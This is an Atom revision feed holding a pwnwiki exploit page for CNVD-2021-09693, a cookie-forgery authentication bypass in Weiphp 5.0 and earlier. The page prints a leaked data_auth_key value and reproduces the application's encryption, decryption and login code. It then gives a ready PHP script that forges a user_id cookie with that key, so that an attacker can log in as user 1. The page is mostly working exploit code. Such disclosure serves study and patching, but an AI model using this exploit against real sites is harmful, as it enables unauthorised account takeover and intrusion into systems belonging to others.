<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-04T03:25:54Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/en&amp;diff=4560&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;Found the encryption method and decryption method based on this key&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/en&amp;diff=4560&amp;oldid=prev"/>
		<updated>2021-06-10T02:48:35Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Found the encryption method and decryption method based on this key&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vulnerability Impact==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Weiphp &amp;lt;= 5.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Exploit==&lt;br /&gt;
&lt;br /&gt;
First, you need to get the &amp;lt;code&amp;gt;data_auth_key&amp;lt;/code&amp;gt; key in the database configuration file&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-15.png |800px]]&lt;br /&gt;
&lt;br /&gt;
To get this configuration file, please refer to [https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E CNVD-2020-68596 Weiphp5.0 front file Arbitrary read vulnerability]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'data_auth_key' =&amp;gt; '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find the place where this key is used globally:&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-16.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Found the encryption method and decryption method based on this key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Encryption method &amp;lt;code&amp;gt;think_encrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Decryption method &amp;lt;code&amp;gt;think_decrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function think_decrypt($data, $key = '')&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
    $data = str_replace(array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_'&lt;br /&gt;
    ), array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/'&lt;br /&gt;
    ), $data);&lt;br /&gt;
    $mod4 = strlen($data) % 4;&lt;br /&gt;
    if ($mod4) {&lt;br /&gt;
        $data .= substr('====', $mod4);&lt;br /&gt;
    }&lt;br /&gt;
    $data = base64_decode($data);&lt;br /&gt;
    $expire = substr($data, 0, 10);&lt;br /&gt;
    $data = substr($data, 10);&lt;br /&gt;
&lt;br /&gt;
    if ($expire &amp;gt; 0 &amp;amp;&amp;amp; $expire &amp;lt; time()) {&lt;br /&gt;
        return '';&lt;br /&gt;
    }&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = $str = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if (ord(substr($data, $i, 1)) &amp;lt; ord(substr($char, $i, 1))) {&lt;br /&gt;
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));&lt;br /&gt;
        } else {&lt;br /&gt;
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return base64_decode($str);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The file &amp;lt;code&amp;gt;application\common.php&amp;lt;/code&amp;gt; contains the code to use the decryption method for authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function is_login()&lt;br /&gt;
{&lt;br /&gt;
    $user = session('user_auth');&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        $cookie_uid = cookie('user_id');&lt;br /&gt;
        if (!empty($cookie_uid)) {&lt;br /&gt;
            $uid = think_decrypt($cookie_uid);&lt;br /&gt;
            $userinfo = getUserInfo($uid);&lt;br /&gt;
            D('common/User')-&amp;gt;autoLogin($userinfo);&lt;br /&gt;
&lt;br /&gt;
            $user = session('user_auth');&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        return 0;&lt;br /&gt;
    } else {&lt;br /&gt;
        return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
According to the code obtained here, you can know that when user_Id=1, the key will be decrypted to determine whether it is correct, and if it is correct, you can log in to the system&lt;br /&gt;
&lt;br /&gt;
We can log in to the system by encrypting the cookie obtained with user_id=1 with an encryption code locally&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
show_source(__FILE__);&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T';&lt;br /&gt;
    $key = md5($key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo 'user_id = ' . think_encrypt($_GET['user_id']);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Add &amp;lt;code&amp;gt;cookie: user_id=xxxxxxxx&amp;lt;/code&amp;gt; to log in successfully&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-18.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Reference==&lt;br /&gt;
http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7Cookie%E4%BC%AA%E9%80%A0%20CNVD-2021-09693.html&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>